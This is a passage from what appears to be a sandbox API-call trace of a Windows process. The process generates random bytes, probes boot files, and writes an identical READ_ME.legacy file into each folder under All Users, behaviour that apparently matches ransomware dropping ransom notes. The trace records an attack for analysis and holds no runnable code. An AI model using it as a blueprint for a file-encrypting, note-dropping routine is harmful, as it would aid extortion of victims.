dwLen=0x20, pbBuffer=0x5c4740 | out: pbBuffer=0x5c4740) returned 1 [0109.390] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3558 | out: pbBuffer=0x5c3558) returned 1 [0109.390] SetFileAttributesW (lpFileName="\\Boot\\zh-TW\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0109.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0109.391] CreateFileW (lpFileName="\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0109.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0109.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672a0 [0109.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0109.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d410 | out: hHeap=0x520000) returned 1 [0109.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1b8 | out: hHeap=0x520000) returned 1 [0109.391] FindFirstFileW (in: lpFileName="\\Recovery\\Logs\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0xc679f37b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5e18 [0109.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0109.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0109.391] GetLastError () returned 0x5 [0109.391] SetLastError (dwErrCode=0x5) [0109.391] GetLastError () returned 0x5 [0109.391] SetLastError (dwErrCode=0x5) [0109.391] GetLastError () returned 0x5 [0109.392] SetLastError (dwErrCode=0x5) [0109.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567310 [0109.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d500 [0109.392] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0109.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3c0 [0109.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5e98 [0109.392] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5e98 | out: hHeap=0x520000) returned 1 [0109.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201b0 [0109.392] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201b0 | out: hHeap=0x520000) returned 1 [0109.392] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3c0 | out: hHeap=0x520000) returned 1 [0109.392] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567310 | out: hHeap=0x520000) returned 1 [0109.392] FindNextFileW (in: hFindFile=0x5c5e18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0xc679f37b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.392] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0109.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0109.392] GetLastError () returned 0x5 [0109.392] SetLastError (dwErrCode=0x5) [0109.392] GetLastError () returned 0x5 [0109.392] SetLastError (dwErrCode=0x5) [0109.392] GetLastError () returned 0x5 [0109.392] SetLastError (dwErrCode=0x5) [0109.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567310 [0109.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0109.392] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0109.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2d0 [0109.393] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5d58 [0109.393] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5d58 | out: hHeap=0x520000) returned 1 [0109.393] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20078 [0109.393] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20078 | out: hHeap=0x520000) returned 1 [0109.393] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2d0 | out: hHeap=0x520000) returned 1 [0109.393] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567310 | out: hHeap=0x520000) returned 1 [0109.393] FindNextFileW (in: hFindFile=0x5c5e18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc679f37b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc679f37b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc679f37b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.393] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0109.393] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0109.393] GetLastError () returned 0x5 [0109.393] SetLastError (dwErrCode=0x5) [0109.393] GetLastError () returned 0x5 [0109.393] SetLastError (dwErrCode=0x5) [0109.393] GetLastError () returned 0x5 [0109.393] SetLastError (dwErrCode=0x5) [0109.393] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5c8 [0109.393] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5c8 | out: hHeap=0x520000) returned 1 [0109.393] FindNextFileW (in: hFindFile=0x5c5e18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc679f37b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc679f37b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc679f37b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.393] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567310 [0109.393] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672a0 | out: hHeap=0x520000) returned 1 [0109.393] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672d8 | out: hHeap=0x520000) returned 1 [0109.393] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b58 | out: hHeap=0x520000) returned 1 [0109.393] FindFirstFileW (in: lpFileName="\\Users\\All Users\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0xc67edeb8, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5818 [0109.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0109.394] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0109.394] GetLastError () returned 0x12 [0109.394] SetLastError (dwErrCode=0x12) [0109.394] GetLastError () returned 0x12 [0109.394] SetLastError (dwErrCode=0x12) [0109.394] GetLastError () returned 0x12 [0109.394] SetLastError (dwErrCode=0x12) [0109.394] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672a0 [0109.394] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d298 [0109.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0109.394] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0109.394] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5cd8 [0109.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5cd8 | out: hHeap=0x520000) returned 1 [0109.394] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0109.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0109.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0109.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672a0 | out: hHeap=0x520000) returned 1 [0109.394] FindNextFileW (in: hFindFile=0x5c5818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0xc67edeb8, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.395] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0109.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0109.395] GetLastError () returned 0x12 [0109.395] SetLastError (dwErrCode=0x12) [0109.395] GetLastError () returned 0x12 [0109.395] SetLastError (dwErrCode=0x12) [0109.395] GetLastError () returned 0x12 [0109.395] SetLastError (dwErrCode=0x12) [0109.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672a0 [0109.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0109.395] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0109.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d348 [0109.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5bd8 [0109.395] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5bd8 | out: hHeap=0x520000) returned 1 [0109.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0109.395] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0109.395] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d348 | out: hHeap=0x520000) returned 1 [0109.395] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672a0 | out: hHeap=0x520000) returned 1 [0109.395] FindNextFileW (in: hFindFile=0x5c5818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Adobe", cAlternateFileName="")) returned 1 [0109.395] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0109.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0109.395] GetLastError () returned 0x12 [0109.395] SetLastError (dwErrCode=0x12) [0109.395] GetLastError () returned 0x12 [0109.396] SetLastError (dwErrCode=0x12) [0109.396] GetLastError () returned 0x12 [0109.396] SetLastError (dwErrCode=0x12) [0109.396] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672a0 [0109.396] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0109.396] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672d8 [0109.396] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3528 [0109.396] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0109.396] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0109.396] GetLastError () returned 0x12 [0109.396] SetLastError (dwErrCode=0x12) [0109.396] GetLastError () returned 0x12 [0109.396] SetLastError (dwErrCode=0x12) [0109.396] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0109.396] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0109.396] GetLastError () returned 0x12 [0109.396] SetLastError (dwErrCode=0x12) [0109.396] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0109.396] CreateFileW (lpFileName="\\Users\\All Users\\Adobe\\READ_ME.legacy" (normalized: "c:\\users\\all users\\adobe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0109.397] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0109.397] WriteFile (in: hFile=0x588, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.399] CloseHandle (hObject=0x588) returned 1 [0109.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0109.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0109.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3528 | out: hHeap=0x520000) returned 1 [0109.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672d8 | out: hHeap=0x520000) returned 1 [0109.399] FindNextFileW (in: hFindFile=0x5c5818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0109.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0109.400] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0109.400] GetLastError () returned 0x0 [0109.400] SetLastError (dwErrCode=0x0) [0109.400] GetLastError () returned 0x0 [0109.400] SetLastError (dwErrCode=0x0) [0109.400] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0109.400] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0109.401] GetLastError () returned 0x0 [0109.401] SetLastError (dwErrCode=0x0) [0109.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672d8 [0109.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670a8 [0109.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672d8 | out: hHeap=0x520000) returned 1 [0109.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670a8 | out: hHeap=0x520000) returned 1 [0109.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d978 [0109.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d488 [0109.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0109.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0109.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3568 [0109.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0109.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0109.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0109.403] GetLastError () returned 0x0 [0109.403] SetLastError (dwErrCode=0x0) [0109.403] GetLastError () returned 0x0 [0109.403] SetLastError (dwErrCode=0x0) [0109.403] GetLastError () returned 0x0 [0109.403] SetLastError (dwErrCode=0x0) [0109.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0109.403] CreateFileW (lpFileName="\\Users\\All Users\\Application Data\\READ_ME.legacy" (normalized: "c:\\users\\all users\\application data\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0109.405] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0109.405] WriteFile (in: hFile=0x588, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.406] CloseHandle (hObject=0x588) returned 1 [0109.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0109.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3568 | out: hHeap=0x520000) returned 1 [0109.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0109.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0109.406] FindNextFileW (in: hFindFile=0x5c5818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Comms", cAlternateFileName="")) returned 1 [0109.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0109.406] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0109.406] GetLastError () returned 0xb7 [0109.406] SetLastError (dwErrCode=0xb7) [0109.406] GetLastError () returned 0xb7 [0109.406] SetLastError (dwErrCode=0xb7) [0109.406] GetLastError () returned 0xb7 [0109.406] SetLastError (dwErrCode=0xb7) [0109.406] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0109.406] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d320 [0109.406] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ee8 [0109.406] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c35b8 [0109.406] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3588 [0109.406] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0109.406] GetLastError () returned 0xb7 [0109.407] SetLastError (dwErrCode=0xb7) [0109.407] GetLastError () returned 0xb7 [0109.407] SetLastError (dwErrCode=0xb7) [0109.407] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0109.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0109.407] GetLastError () returned 0xb7 [0109.407] SetLastError (dwErrCode=0xb7) [0109.407] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56da28 [0109.407] CreateFileW (lpFileName="\\Users\\All Users\\Comms\\READ_ME.legacy" (normalized: "c:\\users\\all users\\comms\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0109.409] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0109.409] WriteFile (in: hFile=0x588, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.410] CloseHandle (hObject=0x588) returned 1 [0109.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0109.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3588 | out: hHeap=0x520000) returned 1 [0109.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c35b8 | out: hHeap=0x520000) returned 1 [0109.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ee8 | out: hHeap=0x520000) returned 1 [0109.411] FindNextFileW (in: hFindFile=0x5c5818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Desktop", cAlternateFileName="")) returned 1 [0109.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0109.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0109.411] GetLastError () returned 0x0 [0109.411] SetLastError (dwErrCode=0x0) [0109.411] GetLastError () returned 0x0 [0109.411] SetLastError (dwErrCode=0x0) [0109.411] GetLastError () returned 0x0 [0109.411] SetLastError (dwErrCode=0x0) [0109.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0109.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4d8 [0109.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0109.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3598 [0109.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0109.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0109.411] GetLastError () returned 0x0 [0109.411] SetLastError (dwErrCode=0x0) [0109.411] GetLastError () returned 0x0 [0109.411] SetLastError (dwErrCode=0x0) [0109.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0109.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0109.411] GetLastError () returned 0x0 [0109.411] SetLastError (dwErrCode=0x0) [0109.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d660 [0109.412] CreateFileW (lpFileName="\\Users\\All Users\\Desktop\\READ_ME.legacy" (normalized: "c:\\users\\all users\\desktop\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0109.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0109.422] WriteFile (in: hFile=0x588, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.423] CloseHandle (hObject=0x588) returned 1 [0109.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0109.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0109.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3598 | out: hHeap=0x520000) returned 1 [0109.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0109.423] FindNextFileW (in: hFindFile=0x5c5818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0109.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0109.423] RtlAllocateHeap 